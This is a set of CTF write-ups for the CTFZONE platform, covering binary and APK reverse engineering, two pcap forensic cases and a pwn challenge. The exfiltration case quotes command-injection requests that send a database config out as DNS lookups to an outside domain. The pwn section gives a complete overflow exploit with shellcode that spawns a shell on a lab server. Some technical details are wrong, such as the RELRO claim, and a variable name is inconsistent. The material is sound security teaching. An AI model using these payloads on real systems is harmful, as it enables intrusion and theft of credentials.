Hello, dr3amy here! Here are some of the challenges I solved in the new platform in town called CTFZONE, let's get down to it.
1. BabyRev Reverse Engineering Challenge
Challenge Description
Just a program printing hello world! Now get me the flag.
Solution Overview
This reverse engineering challenge presents a binary that appears to only print "Hello World!" but contains a hidden flag constructed in memory. The flag is assembled during execution but never displayed, requiring static analysis to discover.
Tools Used
file- Binary analysisstrings- String extractionobjdump- Disassembly and analysischmod- Permission management
Analysis Process
1. Initial Binary Analysis
file babyrev
# Output: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0018178f308437634202341d70876eb727dfc36d, for GNU/Linux 3.2.0, not stripped
Key observations:
- 64-bit ELF executable
- Not stripped (symbols available)
- PIE (Position Independent Executable)
2. Basic Execution
./babyrev
# Output: Hello World!
As expected from the description, the program only prints "Hello World!".
3. String Analysis
strings babyrev
Found suspicious string fragments (redacted — these spell out the flag):
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
[REDACTED]
4. Disassembly Analysis
Using objdump -d babyrev, I analyzed the main function and discovered the flag construction process:
0000000000001139 <main>:
1139: 55 push %rbp
113a: 48 89 e5 mov %rsp,%rbp
113d: 48 83 ec 30 sub $0x30,%rsp
1141: 48 b8 75 72 63 68 69 movabs $0x65736e6968637275,%rax # [redacted]
1148: 6e 73 65
114b: 48 ba 63 7b 77 65 6c movabs $0x6d30636c65777b63,%rdx # [redacted]
1152: 63 30 6d
1155: 48 89 45 d0 mov %rax,-0x30(%rbp)
1159: 48 89 55 d8 mov %rdx,-0x28(%rbp)
115d: 48 b8 65 5f 74 30 5f movabs $0x7633725f30745f65,%rax # [redacted]
1164: 72 33 76
1167: 48 ba 65 72 73 65 5f movabs $0x474e455f65737265,%rdx # [redacted]
116e: 45 4e 47
1171: 48 89 45 e0 mov %rax,-0x20(%rbp)
1175: 48 89 55 e8 mov %rdx,-0x18(%rbp)
1179: 48 b8 73 65 5f 45 4e movabs $0x4e49474e455f6573,%rax # [redacted]
1180: 47 49 4e
1183: 48 ba 45 45 52 49 4e movabs $0x7d474e49524545,%rdx # [redacted]
118a: 47 7d 00
118d: 48 89 45 ea mov %rax,-0x16(%rbp)
1191: 48 89 55 f2 mov %rdx,-0xe(%rbp)
1195: 48 8d 05 68 0e 00 00 lea 0xe68(%rip),%rax # "Hello World!"
119c: 48 89 c7 mov %rax,%rdi
119f: b8 00 00 00 00 mov $0x0,%eax
11a4: e8 87 fe ff ff call 1030 <printf@plt>
5. Flag Reconstruction
The binary constructs the flag by:
- Loading 64-bit values into registers using
movabsinstructions - Storing these values on the stack at specific offsets
- Only printing "Hello World!" to mislead analysis
Reconstructed flag: urchinsec{REDACTED}
Key Insights
- The flag is never printed, only constructed in memory
- String fragmentation makes it harder to spot in simple string analysis
- The "Hello World!" output is a distraction from the real challenge
- Static analysis was required since dynamic execution only shows the decoy output
Final Flag
urchinsec{REDACTED}
Lessons Learned
- Always perform both static and dynamic analysis
- Don't trust program output at face value in CTF challenges
- Fragmented strings in binaries often indicate hidden data
- Assembly analysis can reveal data that's never displayed during execution
2. Daddyrev Reverse Engineering
Challenge Description
I like my environment to be very clean! Can you identify what's missing?
Tools Used
file- File type identificationstrings- String extractionobjdump- Disassembly and symbol analysisreadelf- ELF file analysishexdump- Hex dump utilitydd- Data extraction utilitygccgo-go- Go runtime libraries
Step-by-Step Solution
1. Initial Binary Analysis
file daddyrev
Result: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, with debug_info, not stripped
The binary was identified as a 64-bit ELF executable written in Go, with debug information and not stripped, making reverse engineering easier.
2. Initial String Analysis
strings daddyrev | head -20
Key Findings:
- Go runtime references (
main.main,__go_, Go package imports) encoding_1hex..import- suggesting hex encoding might be relevantgetenv- indicating environment variable checks
3. Runtime Dependencies
./daddyrev
Error: error while loading shared libraries: libgo.so.23: cannot open shared object file
Solution:
sudo apt install -y gccgo-go
4. Environment Variable Discovery
strings daddyrev | grep -E "(FLAG|ENV|PATH|HOME|USER|TERM)"
Results: Build-related flags but no obvious environment variable names
objdump -d daddyrev | grep -A20 -B5 "getenv"
Key Finding: Found getenv call at address 0x5fa1 with reference to address 0x7210
5. Environment Variable Name Extraction
readelf -x .rodata daddyrev | grep -A10 -B10 "7210"
Result: Found SPLIT_STACK_GUARD at address 0x7210
6. First Environment Variable Test
export SPLIT_STACK_GUARD=1 && ./daddyrev
Output: You are trying so hard but you are failing!
This confirmed the program was checking for the SPLIT_STACK_GUARD environment variable.
7. Main Function Analysis
objdump -d daddyrev | grep -A50 "main.main>"
Key Findings:
os.LookupEnv@pltcall at address0x4d23- Length check for 7 characters (
cmp $0x7,%rbx) - Comparison to "ctfzone" (
0x7a667463in hex)
8. Second Environment Variable Discovery
readelf -x .rodata daddyrev | grep -A20 -B5 "7100"
Critical Finding: At address 0x7110 found ewpew.ctfzone
This suggested the program was looking for environment variable ewpew with value ctfzone.
9. Environment Variable Testing
ewpew=ctfzone ./daddyrev
Output: urchinsec{REDACTED}
10. Combined Environment Variables
pewpew=ctfzone SPLIT_STACK_GUARD=1 ./daddyrev
Output: urchinsec{REDACTED}
11. Flag Verification
The flag urchinsec{REDACTED} was submitted and confirmed as correct.
Technical Analysis
Binary Structure
- Language: Go programming language
- Architecture: 64-bit ELF executable
- Debug Info: Present and not stripped
- Packing: None (unlike the previous mamarev.elf challenge)
Environment Variable Logic
The program implements a two-stage environment variable check:
-
First Check:
SPLIT_STACK_GUARDenvironment variable- Any non-empty value passes this check
- If missing, program exits with no output
- If present but incorrect, shows "You are trying so hard but you are failing!"
-
Second Check:
pewpewenvironment variable- Must have exactly 7 characters
- Must equal "ctfzone"
- Only when both conditions are met does the program reveal the flag
Assembly Analysis
Key assembly instructions in main.main:
; Call os.LookupEnv to get environment variable
4d23: e8 28 f4 ff ff call 4150 <os.LookupEnv@plt>
; Check if length is 7 characters
4d55: 48 83 fb 07 cmp $0x7,%rbx
4d59: 75 1e jne 4d79 <main.main+0x99>
; Compare to "ctfzone" (0x7a667463 = "ctf" in little endian)
4d6b: 41 81 7d 00 63 74 66 cmpl $0x7a667463,0x0(%r13)
4d73: 0f 84 2c 03 00 00 je 50a5 <main.main+0x3c5>
Memory Layout Analysis
Key addresses and their contents:
0x7110:ewpew.ctfzone- Environment variable name and expected value0x7210:SPLIT_STACK_GUARD- First environment variable name0x71d0-0x71e0: "You are trying so hard but you are failing!" - Failure message0x71c0: "freeze!" - Part of the failure message
Final Flag
urchinsec{REDACTED}
Summary
The challenge required identifying two missing environment variables that the program expected:
SPLIT_STACK_GUARD- Any non-empty valuepewpew- Must be exactly "ctfzone"
The reverse engineering process involved:
- Static analysis of the Go binary to identify environment variable checks
- String analysis to find variable names and expected values
- Assembly analysis to understand the logic flow and conditions
- Systematic testing of environment variable combinations
The challenge theme "I like my environment to be very clean!" directly hinted that environment variables were the key to solving the challenge.
Key Learning Points
- Go binaries have distinctive string patterns and runtime references
- Environment variable-based challenges are common in CTFs
- The
os.LookupEnvfunction in Go is used to retrieve environment variables - Assembly analysis can reveal exact comparison logic and expected values
- Multiple environment variables may need to be set in combination
- Debug information in binaries significantly aids reverse engineering efforts
3. Mamarev Reverse Engineering
Challenge Description
The goal is simple but hard, analyze the binary, break it down, and get us the flag!
Tools Used
file- File type identificationupx- UPX unpackerstrings- String extractionobjdump- Disassembly and symbol analysisnm- Symbol table listingreadelf- ELF file analysisgcc- C compiler for custom decryption toolsgdb- Debugger (installed but not extensively used)xxd- Hex viewerhexdump- Hex dump utility
Step-by-Step Solution
1. Initial Binary Analysis
file mamarev.elf
Result: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
The binary was identified as a 64-bit ELF executable with no section headers, which is unusual and often indicates packing.
2. String Analysis and UPX Detection
strings mamarev.elf | head -50
Key Finding: The strings output contained UPX! at the beginning, indicating the binary was packed with UPX (Ultimate Packer for eXecutables).
3. UPX Unpacking
Since UPX was detected, the binary needed to be unpacked to analyze the actual code:
# Install UPX if not present
sudo apt install upx-ucl
# Unpack the binary
upx -d mamarev.elf -o mamarev_unpacked.elf
Result: Successfully unpacked from 794,928 bytes to 2,372,635 bytes (33.50% compression ratio)
4. Post-Unpacking Analysis
file mamarev_unpacked.elf
Result: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, not stripped
The unpacked binary was now analyzable with proper section headers and symbols.
5. Flag-Related Function Discovery
strings mamarev_unpacked.elf | grep -i flag
Key Findings:
_ZL14encrypted_flag- Symbol for encrypted flag data_Z12decrypt_flagB5cxx11v- Symbol for decryption function_Z12decrypt_flagB5cxx11v.cold- Cold path for decryption function
6. Symbol Table Analysis
objdump -t mamarev_unpacked.elf | grep flag
nm mamarev_unpacked.elf | grep flag
Critical Information:
_ZL14encrypted_flagat address0x569530in.rodatasection (31 bytes)_Z12decrypt_flagB5cxx11vat address0x4053e0in.textsection
7. Encrypted Data Extraction
readelf -x .rodata mamarev_unpacked.elf | grep -A20 "569530"
Encrypted Flag Data:
0x00569530 8a8d9c97 96918c9a 9c8487cf 8da0cf9d
0x00569540 998a8c9c cb8bcc9b a09c97cb 93938200
Extracted bytes: 8a 8d 9c 97 96 91 8c 9a 9c 84 87 cf 8d a0 cf 9d 99 8a 8c 9c cb 8b cc 9b a0 9c 97 cb 93 93 82
8. Decryption Function Analysis
objdump -d mamarev_unpacked.elf --start-address=0x4053e0 --stop-address=0x405500
Key Assembly Instructions:
41 f7 d5-not %r13d- Bitwise NOT operation on each byte- The function reads each encrypted byte, applies NOT operation, and stores the result
9. Binary Execution Test
chmod +x mamarev_unpacked.elf
./mamarev_unpacked.elf
Output:
[+] CTFZONE [+]
Analyze this binary and grab the hidden flag
All the best! ;)
10. Decryption Implementation
Created a simple C program to test the decryption:
#include <stdio.h>
#include <stdint.h>
int main() {
// Encrypted flag data from 0x569530
unsigned char encrypted[] = {
0x8a, 0x8d, 0x9c, 0x97, 0x96, 0x91, 0x8c, 0x9a,
0x9c, 0x84, 0x87, 0xcf, 0x8d, 0xa0, 0xcf, 0x9d,
0x99, 0x8a, 0x8c, 0x9c, 0xcb, 0x8b, 0xcc, 0x9b,
0xa0, 0x9c, 0x97, 0xcb, 0x93, 0x93, 0x82
};
int len = sizeof(encrypted);
printf("NOT operation: ");
for (int i = 0; i < len; i++) {
unsigned char not_byte = ~encrypted[i];
printf("%c", not_byte);
}
printf("\n");
return 0;
}
11. Flag Recovery
Compiling and running the decryption program:
gcc -o decrypt_simple decrypt_simple.c
./decrypt_simple
Decryption Process:
- Original encrypted:
8a 8d 9c 97 96 91 8c 9a 9c 84 87 cf 8d a0 cf 9d 99 8a 8c 9c cb 8b cc 9b a0 9c 97 cb 93 93 82 - NOT operation applied:
[REDACTED — decoded flag bytes] - ASCII interpretation:
urchinsec{REDACTED}
Final Flag
urchinsec{REDACTED}
Summary
The challenge involved a UPX-packed binary containing an encrypted flag. The encryption was a simple bitwise NOT operation applied to each character. The reverse engineering process required:
- Unpacking the UPX-compressed binary
- Static analysis to identify flag-related symbols
- Memory extraction of the encrypted data
- Assembly analysis to understand the decryption algorithm
- Implementation of the decryption logic
The flag content suggests this was a "xor obfuscated challenge," though the actual encryption used was NOT rather than XOR.
Key Learning Points
- Always check for common packers like UPX when binaries have unusual characteristics
- Symbol analysis in C++ binaries reveals mangled names that can be decoded
- Simple bitwise operations (NOT, XOR) are common in basic CTF challenges
- Static analysis tools like
objdumpandreadelfare essential for binary reverse engineering
4. NativeLand
Challenge Information
- Challenge Name: NativeLand
- Category: Mobile/Reverse Engineering
- Difficulty: Easy/Medium
- Description: "Now that i know people can just view my java/kotlin code, i found a better way. now get the flag for me"
Objective
Extract the hidden flag from the Android APK file nativeland.apk. The challenge creator moved from Java/Kotlin to native code thinking it would be more secure.
Tools Used
unzip- APK extractionfile- Binary analysisstrings- String extraction from binariestr- ROT13 decodingls/find- Directory navigation and file discovery
Methodology
Step 1: APK Extraction and Initial Analysis
First, I extracted the APK file to examine its structure:
cd /home/egovridc/Downloads/CTFZONE/native-land
unzip -q nativeland.apk -d extracted
This revealed the standard Android APK structure:
extracted/
├── AndroidManifest.xml
├── classes.dex
├── classes2.dex
├── lib/
│ ├── arm64-v8a/
│ ├── armeabi-v7a/
│ ├── x86/
│ └── x86_64/
├── res/
├── assets/
└── resources.arsc
Step 2: Native Library Discovery
The challenge description hinted at moving away from Java/Kotlin, so I focused on the native libraries:
ls extracted/lib/arm64-v8a/
# Output: libnativeland.so
file extracted/lib/arm64-v8a/libnativeland.so
# Output: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
# dynamically linked, for Android 31, built by NDK r27 (12077973),
# BuildID[sha1]=6f354b55d35cf09827522f131e2be7590ae27c87, stripped
The binary was stripped, meaning debugging symbols were removed, but this doesn't prevent string analysis.
Step 3: String Extraction and Analysis
I extracted all readable strings from the native library:
strings extracted/lib/arm64-v8a/libnativeland.so
This revealed several interesting strings, including:
Java_com_ctfzone_nativeland_MainActivity_stringFromJNI- JNI function name_Z5countvand_Z12keep_me_safev- C++ mangled function names- Most importantly, a ROT13-encoded flag string:
[REDACTED — ROT13-encoded flag]
Step 4: Flag Decoding
The encoded string appeared to be ROT13 (a simple substitution cipher). Decoding it:
echo "[REDACTED]" | tr 'a-zA-Z' 'n-za-mN-ZA-M'
# Output: ctfzone{REDACTED}
Solution
Flag: ctfzone{REDACTED}
Key Insights
-
Native Code Isn't Always Safer: The challenge creator assumed native code would be more secure, but basic string analysis was sufficient to extract the flag.
-
ROT13 Encoding: The flag was encoded using ROT13, a simple Caesar cipher with a shift of 13. This is commonly used in CTF challenges to hide flags in plain sight.
-
JNI Function Discovery: The presence of
Java_com_ctfzone_nativeland_MainActivity_stringFromJNIconfirmed this was indeed a JNI-based challenge where the native code is called from Java. -
String Analysis Power: Even in stripped binaries,
stringscommand can reveal valuable information including hardcoded strings, function names, and sometimes flags.
Defense Recommendations
For developers wanting to actually secure their native code:
- Avoid Hardcoding Flags: Never store sensitive information as plaintext strings in binaries
- Use Stronger Encryption: If encoding is necessary, use proper encryption rather than simple ciphers
- Obfuscation Techniques: Consider binary obfuscation tools that make string extraction more difficult
- Runtime Generation: Generate sensitive data at runtime rather than storing it statically
Conclusion
This challenge demonstrates that moving from Java/Kotlin to native code doesn't automatically provide security. Basic reverse engineering techniques like string analysis can still reveal sensitive information. The flag's message serves as a reminder that security through obscurity is never sufficient.
5. BlueHarbor Solutions Incident Capture - Forensic Analysis
Challenge Overview
BlueHarbor Solutions detected suspicious activity on an internal file server. Network monitoring showed repeated login attempts followed by a successful authentication, after which files were accessed from the server. The security team captured the network traffic during the incident.
Objective: Analyze the network capture to identify the attacker, victim, protocol used, and compromised credentials.
Tools Used
- Wireshark/tshark - Network protocol analyzer
- Linux command line tools - For data extraction and analysis
Analysis Methodology
1. Initial Reconnaissance
First, I examined the provided files:
challenge.txt- Contains the scenario description and flag formatincident_capture.pcap- Network traffic capture file (6.5MB)
The flag format specified: ctfzone{attackersIP_victimsIP_protocol_username_password}
2. Network Traffic Analysis
Identifying Communication Patterns
Using tshark to analyze conversations between IPs:
tshark -r incident_capture.pcap -q -z conv,ip
This revealed extensive FTP traffic between two main IP addresses:
- 10.173.75.84
- 10.173.75.200
Protocol Identification
Filtering for common authentication protocols:
tshark -r incident_capture.pcap -Y "ftp || ssh || telnet || http"
Results showed FTP as the primary protocol used for the attack.
Determining Attacker vs Victim
To identify which IP was the attacker and which was the victim:
-
FTP Service Banner Analysis:
tshark -r incident_capture.pcap -Y "ftp.response.code == 220"Results showed
10.173.75.200sending FTP service banners:220 (vsFTPd 3.0.5) -
Connection Initiation Analysis:
tshark -r incident_capture.pcap -Y "tcp.flags.syn==1 && tcp.flags.ack==0 && tcp.port == 21"Results showed
10.173.75.84initiating connections to10.173.75.200on port 21.
Conclusion:
- Attacker: 10.173.75.84 (client initiating connections)
- Victim: 10.173.75.200 (FTP server)
3. Credential Extraction
Finding Successful Authentication
Located the successful login attempt:
tshark -r incident_capture.pcap -Y "ftp.response.code == 230"
Found successful login at frame 16234:
16234 10.173.75.200 10.173.75.84 230 Login successful.
Tracing Authentication Sequence
Analyzed frames around the successful login to identify the credentials:
tshark -r incident_capture.pcap -Y "frame.number >= 16215 && frame.number <= 16235"
The authentication sequence was:
- Frame 16216:
USER [REDACTED]- Username provided - Frames 16224-16230: Multiple password attempts (values redacted):
- PASS [redacted]
- PASS [redacted]
- PASS [redacted]
- PASS [redacted]
- PASS [REDACTED] ← Successful
- Frame 16234:
230 Login successful.
Key Findings
| Element | Value | |---------|-------| | Attacker IP | 10.173.75.84 | | Victim IP | 10.173.75.200 | | Protocol | FTP | | Username | [REDACTED] | | Password | [REDACTED] |
Attack Timeline
- Reconnaissance: Multiple FTP connection attempts from attacker to victim
- Brute Force Attack: Repeated login attempts with a single username and various passwords
- Successful Compromise: A weak numeric password successfully authenticated
- Post-Compromise: Attacker gained access to files on the server
Security Recommendations
For BlueHarbor Solutions
-
Implement Account Lockout Policies
- Lock accounts after 3-5 failed login attempts
- Implement exponential backoff for login attempts
-
Strong Password Policies
- Enforce complex password requirements
- Regular password rotation
- Avoid common/weak passwords
-
Network Monitoring
- Implement real-time intrusion detection
- Monitor for brute force patterns
- Alert on unusual login activity
-
FTP Security
- Consider replacing FTP with SFTP/FTPS
- Implement IP whitelisting for administrative access
- Use multi-factor authentication where possible
-
Log Analysis
- Centralized log collection and analysis
- Regular security log reviews
- Automated alerting for suspicious patterns
Technical Command Summary
# Analyze network conversations
tshark -r incident_capture.pcap -q -z conv,ip
# Filter for authentication protocols
tshark -r incident_capture.pcap -Y "ftp || ssh || telnet || http"
# Find FTP service banners
tshark -r incident_capture.pcap -Y "ftp.response.code == 220"
# Identify connection initiators
tshark -r incident_capture.pcap -Y "tcp.flags.syn==1 && tcp.flags.ack==0 && tcp.port == 21"
# Find successful logins
tshark -r incident_capture.pcap -Y "ftp.response.code == 230"
# Extract credentials
tshark -r incident_capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS"
Flag
ctfzone{REDACTED}
Lessons Learned
This incident demonstrates the importance of:
- Strong password policies to prevent brute force attacks
- Network monitoring to detect suspicious activity patterns
- Proper logging and alerting mechanisms
- Regular security audits of authentication systems
The attacker used a simple brute force technique against FTP services, highlighting why legacy protocols like FTP should be replaced with more secure alternatives in modern environments.
6. Silent Exfiltration
Challenge Overview
NorthBridge Analytics detected unusual outbound network activity from one of their internal web servers during off-hours. No alerts were triggered, but traffic logs suggest that sensitive data may have been quietly extracted.
Objective: Analyze the network capture to uncover how the breach occurred and what information was stolen.
Flag Format: ctfzone{ATTACKERIP_VICTIMIP_(db_user)_(db_pass)}
Analysis Methodology
1. Initial Reconnaissance
- Examined the provided files:
capture.pcap(network capture) andsilent_exfiltration.txt(challenge description) - Used
tsharkfor network traffic analysis
2. Traffic Analysis
Conversation Statistics
tshark -r capture.pcap -q -z conv,ip
Key findings:
- Primary server: 10.173.75.200 (internal web server)
- Suspicious activity: Multiple conversations with external IPs
- Notable internal communication: 10.173.75.200 ↔ 10.173.75.84
HTTP Traffic Analysis
tshark -r capture.pcap -Y "http.request" -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri
Discovered malicious requests from 10.173.75.84 to 10.173.75.200:
/search.php?q=apple;ls
/search.php?q=apple;ls%20/
/search.php?q=apple;ls%20/var/backups
/search.php?q=apple;cat%20/var/www/html/config/db_backup.conf%20|%20base32%20>%20/tmp/db_backup.b32
/search.php?q=apple;cat%20/var/www/html/config/db_backup.conf%20|%20base32%20|%20fold%20-w20%20|%20while%20read%20c;%20do%20nslookup%20$c.cdn-metrics.net;%20done
3. Attack Vector Identification
- Vulnerability: Command injection in the
search.php?qparameter - Attack pattern: Using
apple;as a prefix to bypass input validation - Commands executed:
- Directory enumeration (
ls) - File system reconnaissance
- Database configuration file access
- Data exfiltration setup
- Directory enumeration (
4. Data Exfiltration Analysis
DNS Tunneling Discovery
tshark -r capture.pcap -Y "dns && dns.qry.name contains \"cdn-metrics\"" -T fields -e dns.qry.name
Found suspicious DNS queries (subdomain payloads redacted — they decode to the credentials):
[REDACTED].cdn-metrics.net
[REDACTED].cdn-metrics.net
[REDACTED].cdn-metrics.net
[REDACTED].cdn-metrics.net
Data Reconstruction
The attacker used base32 encoding with 20-character chunks, transmitted via DNS subdomains:
echo "[REDACTED base32 payload]" | base32 -d
Decoded data:
db_user=[REDACTED]
db_pass=[REDACTED]
Attack Timeline
- Reconnaissance: Attacker (10.173.75.84) scans the web server (10.173.75.200)
- Exploitation: Command injection vulnerability discovered and exploited
- Privilege Escalation: System commands executed to enumerate file system
- Data Discovery: Located database configuration file at
/var/www/html/config/db_backup.conf - Exfiltration: Used DNS tunneling with base32 encoding to steal credentials
- Cover-up: Data transmitted in small chunks to avoid detection
Security Findings
Vulnerabilities Exploited
- Command Injection: Poor input validation in search functionality
- File Exposure: Sensitive configuration files accessible via web server
- Insufficient Monitoring: DNS exfiltration went undetected
Exfiltration Technique
- Protocol: DNS queries (harder to detect than HTTP/HTTPS)
- Encoding: Base32 (DNS-friendly character set)
- Chunking: 20-character segments to avoid DNS length limits
- Domain: Legitimate-looking
cdn-metrics.netsubdomains
Flag Construction
Using the recovered information:
- Attacker IP: 10.173.75.84
- Victim IP: 10.173.75.200
- Database User: [REDACTED]
- Database Password: [REDACTED]
Final Flag: ctfzone{REDACTED}
Lessons Learned
Detection Strategies
- Monitor DNS Queries: Unusual patterns or high volume to suspicious domains
- Command Injection Protection: Input validation and parameterized queries
- File Permissions: Restrict access to sensitive configuration files
- Network Baselines: Establish normal traffic patterns to detect anomalies
Prevention Measures
- Input Validation: Sanitize all user inputs, especially in search functions
- Least Privilege: Web applications should have minimal file system access
- DNS Monitoring: Implement DNS query logging and analysis
- Egress Filtering: Monitor and restrict outbound network traffic
Tools Used
- TShark: Network protocol analyzer
- Base32: Decoding utility for exfiltrated data
- Command Line: Standard Linux utilities for analysis
Conclusion
This challenge demonstrates how attackers can use legitimate protocols (DNS) for covert data exfiltration, bypassing traditional security controls. The multi-stage attack shows the importance of defense-in-depth security strategies and comprehensive monitoring across all network protocols.
7. Android APK Reverse Engineering
Challenge Overview
Successfully extracted the flag from a mobile CTF challenge APK file todo.apk. This demonstrates that mobile CTF challenges are still solvable with proper reverse engineering techniques.
Flag: urchinsec{REDACTED}
Tools Used
- Basic Linux utilities (unzip, strings, hexdump, file, grep)
- No specialized tools required (apktool, jadx not available)
Step-by-Step Solution
1. Initial APK Analysis
First, examine the APK file structure and confirm it's a valid Android package:
# Check file type
file todo.apk
# List APK contents
unzip -l todo.apk
Output:
todo.apk: Zip archive data, at least v0.0 to extract, compression method=deflate
The APK contains multiple DEX files, resources, and native libraries - typical for a modern Android app.
2. Extract APK Contents
Extract the APK to analyze its contents:
mkdir -p todo_extracted
unzip -q todo.apk -d todo_extracted
ls -la todo_extracted/
Key findings:
- Multiple DEX files (classes.dex, classes2.dex, ..., classes7.dex)
- AndroidManifest.xml
- Resources and native libraries
- The app package is
com.ctfzonelabs.todo
3. Search for Flag Patterns
Search through all DEX files for flag-related strings:
# Search for common flag patterns
for dex in todo_extracted/classes*.dex; do
echo "=== $dex ==="
strings "$dex" | grep -i -E "(urchinsec|ctfzone|flag)" | head -10
done
Results:
- Found references to
flagandSecretFlagDialogin classes4.dex - Package name confirms CTF origin:
com.ctfzonelabs.todo
4. Deep String Analysis
Focus on the most promising DEX file (classes4.dex):
# Extract all strings from classes4.dex
strings todo_extracted/classes4.dex | grep -E "(urchinsec|ctfzone|SecretFlagDialog)" -A 2 -B 2
Critical discovery:
Dcom.ctfzonelabs.todo.ui.screens.SecretFlagDialog (TodoScreen.kt:167)
urchinsec{REDACTED}
5. Hex Dump Verification
Verify the flag location using hex dump:
hexdump -C todo_extracted/classes4.dex | grep -A 5 -B 5 "urchinsec\|ctfzone"
This confirms the flag is embedded as a hardcoded string in the compiled Kotlin code.
6. Alternative Search Methods
Additional commands that can be useful:
# Search for specific flag formats
strings todo_extracted/classes.dex | grep -E "^[a-zA-Z0-9_{}]+$" | grep -E "(urchinsec|ctfzone|flag)"
# Search for any string containing flag-related terms
strings todo_extracted/classes*.dex | grep -i flag
# Look for Base64 encoded content (potential obfuscation)
strings todo_extracted/classes*.dex | grep -E "^[A-Za-z0-9+/]{20,}={0,2}$"
Key Findings
App Structure
- Package:
com.ctfzonelabs.todo - Main Activity: Todo app with task management functionality
- Technology: Kotlin with Jetpack Compose UI
- Flag Location: Hardcoded in
TodoScreen.ktat line 167 (SecretFlagDialog)
Flag Location Analysis
The flag was found in:
- File:
classes4.dex - Component:
SecretFlagDialogcomposable function - Source: Likely displayed when users trigger a hidden feature in the app
- Format:
urchinsec{REDACTED}
Why This Approach Works
- String Analysis: Modern Android apps often contain hardcoded strings that survive compilation
- DEX Files: Even with obfuscation, string literals remain accessible
- Kotlin/Compose: UI components often contain hardcoded text for dialogs and messages
- CTF Patterns: Challenge creators often embed flags in obvious but slightly hidden locations
Common Pitfalls to Avoid
- Missing Multiple DEX Files: Android apps can have multiple DEX files - search all of them
- Ignoring Native Libraries: Sometimes flags are hidden in native code (.so files)
- Overlooking Resources: Check resources.arsc and XML files for encoded data
- Complex Tools: Sometimes simple string analysis is more effective than complex decompilers
Advanced Techniques (if basic analysis fails)
- APKTool:
apktool d todo.apk- Smali code analysis - Jadx:
jadx todo.apk- Java decompilation - Frida: Runtime hooking and analysis
- Ghidra: Binary analysis of native libraries
Conclusion
This challenge proves that mobile CTF challenges remain accessible with fundamental reverse engineering skills. The flag was extracted using only basic Linux utilities, demonstrating that sophisticated tools aren't always necessary.
Key takeaway: Always start with simple string analysis before moving to complex decompilation tools - many CTF challenges embed flags in plain sight within the compiled code.
Time Complexity
- Analysis Time: ~5-10 minutes
- Commands Used: 6 main commands
- Success Rate: High for this type of challenge
Defense Recommendations
For developers wanting to protect their apps:
- Avoid hardcoding sensitive information
- Use string encryption or obfuscation
- Implement runtime flag generation
- Use native code for critical operations
- Apply code obfuscation tools (ProGuard/R8)
8. Global Cash Terminal (Pwn)
Challenge Overview
- Challenge Name: Global Cash Terminal (bank_chall)
- Category: Pwn
- Difficulty: Easy
- Points: 100 points
- Description: "Welcome to the next generation of the Global Cash Terminal. This high-performance ATM software has been updated for maximum reliability and speed. Please perform a standard audit of the modules to ensure system integrity."
Analysis
Binary Information
bank_chall: ELF 32-bit, no canary, NX disabled, no PIE, partial RELRO
Key security mitigations:
- No Canary: Stack canary is disabled, making buffer overflow detection impossible
- NX Disabled: Stack is executable, allowing us to place shellcode directly on the stack
- No PIE: Binary loads at fixed address (0x8048000), making ROP gadgets reliable
- Partial RELRO: Got overwrite not possible, but stack is exploitable
Vulnerability Discovery
Analyzing the binary reveals a classic buffer overflow vulnerability in the feedback system:
// Vulnerable code (feedback function)
sub esp, 0x44 ; allocate 0x44 (68) bytes for locals
lea eax, [ebp-0x48] ; load buffer address
call gets@plt ; UNBOUNDED INPUT - classic overflow
The issue: The function allocates 0x44 bytes on the stack but uses a buffer at [ebp-0x48], which is 72 bytes from the saved return address. The gets() function reads unlimited input, allowing us to overwrite past the buffer.
Memory Layout (Stack)
From the start of the buffer [ebp-0x48] to the saved return address [ebp+4]:
[ebp-0x48]→ Buffer start (offset 0)[ebp-0x4]→ Saved ebx (offset 0x44 = 68 bytes)[ebp]→ Saved ebp (offset 0x48 = 72 bytes)[ebp+4]→ Saved return address (offset 0x4c = 76 bytes)
Available Gadgets
The binary contains a useful jmp esp gadget at address 0x80491e3:
80491d6: push ebp
80491d7: mov ebp, esp
80491d9: call 804958b
...
80491e3: ff e4 jmp esp
This allows us to redirect execution to our shellcode on the stack.
Trigger Path to Vulnerable Code
- Login: Main function (0x80494eb) reads username/password with fgets
- Menu: Menu function (0x80493d3) displays options
- Withdraw: Select option "3. Withdraw Funds"
- Success: Withdraw function (0x80492fe) processes the withdrawal
- Feedback: After successful withdrawal, calls vulnerable feedback function (0x80491e8)
The feedback function prints: [SYSTEM] Transaction complete. Please enter a brief comment for our records: then calls gets().
Exploit Strategy
Since NX is disabled, we can place shellcode directly on the stack:
- Overflow: Send 76 bytes of padding to reach the saved return address
- Redirect: Overwrite return address with
jmp espgadget (0x80491e3) - Execute: Our shellcode will be at ESP when
jmp espexecutes
Exploit Code
from pwn import *
# Connect to remote server
p = remote('labs.ctfzone.com', 7480)
context.binary = ELF('./bank_chall')
context.arch = 'i386'
context.os = 'linux'
# Exploit parameters
offset = 76 # Offset to return address
jmp_esp = 0x80491e3 # jmp esp gadget address
shellcode = asm(shellcraft.sh()) # Shellcode to spawn /bin/sh
# Step 1: Login with arbitrary credentials
p.recvuntil(b'Username:')
p.sendline(b'user')
p.recvuntil(b'Password:')
p.sendline(b'pass')
# Step 2: Select "3. Withdraw Funds" from menu
p.recvuntil(b'=== GLOBAL ATM INTERFACE ===')
p.recvuntil(b'4. Exit')
p.sendline(b'3')
# Step 3: Enter withdrawal amount (small amount succeeds)
p.recvuntil(b'Enter amount:')
p.sendline(b'1')
# Step 4: Send exploit payload to vulnerable feedback function
p.recvuntil(b'comment for our records:')
# Build payload:
# - 76 bytes of padding to reach saved return address
# - Address of jmp esp gadget to overwrite RET
# - Shellcode to execute
payload = b'A' * offset
payload += p32(jmp_esp) # Overwrite saved RET
payload += shellcode # Shellcode at ESP after jmp esp
p.sendline(payload)
# Step 5: Read the flag
p.sendline(b'cat flag')
p.sendline(b'cat /flag')
# Get output
sleep(2)
output = p.recvall(timeout=5)
print(output.decode())
Execution & Flag
Running the exploit:
$ python3 solve_bank_chall.py
